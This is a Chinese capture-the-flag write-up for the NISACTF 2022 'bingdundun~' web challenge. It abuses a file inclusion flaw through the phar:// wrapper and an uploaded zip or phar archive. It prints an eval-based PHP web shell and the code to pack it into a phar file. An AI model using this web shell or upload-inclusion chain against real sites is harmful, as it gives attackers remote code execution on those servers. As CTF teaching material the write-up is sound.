[NISACTF 2022]bingdundun~
目录
[NISACTF 2022]bingdundun~
得知仅能上传图片或压缩包
通过 URL 传参的部分:?bingdundun=upload
可以推测是文件包含,尝试访问 upload.php
:
正常要包含 upload.php
,传参部分应该是:?bingdundun=upload.php
由此可以推断 “bingdundun” 参数在接收到数据后会在后面加个:.php
就不能通过上传内容为木马代码的图片并利用文件包含来解析木马,只能把目光放在压缩包
phar://
伪协议可以将.phar
打包文件和.zip
压缩包解压且能解析里面的文件、、
创建一个Lyrio.php
文件:
|
|
压缩成 zip 格式的压缩包,上传,得到上传后文件的地址和名字:/var/www/html/0bd8920a2f7503f65133966df32d42e3.zip
用phar://
伪协议来解析后门文件:?bingdundun=phar:///var/www/html/0bd8920a2f7503f65133966df32d42e3.zip/Lyrio
页面执行了phpinfo()
说明后门解析成功,最后就是用 WebShell 管理工具连接并找到 flag
也可以生成
.phar
打包文件来做这题,生成.phar
文件的代码:
1 2 3 4 5 6 7 8
<?php $payload = '<?php @eval($_POST["Lyrio"]);phpinfo();?>'; // 一句话木马 $phar = new Phar("shell.phar"); // 后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); // 设置stub $phar->addFromString("Lyrio.php", "$payload"); // 添加要压缩的文件 $phar->stopBuffering(); ?>
如果运行报错是由于
php.ini
中的phar.readonly
参数为"On",阻止 phar 扩展的使用。解决方法:
- 将
php.ini
中的phar.readonly
参数为改为"Off"- 在此 php 文件的目录下打开 cmd 输入:
php -d phar.readonly=0 文件名.php
成功后生成
shell.phar
文件,由于本题只能上传图片或者压缩包,所以将后缀改成.zip
再上传。然后用phar://
伪协议来解析后门文件 ( phar 伪协议不看后缀名,主要看标识来判定,因此可以改成任意后缀)接下来的步骤和上面的一样
欲将心事付瑶琴。知音少,弦断有谁听?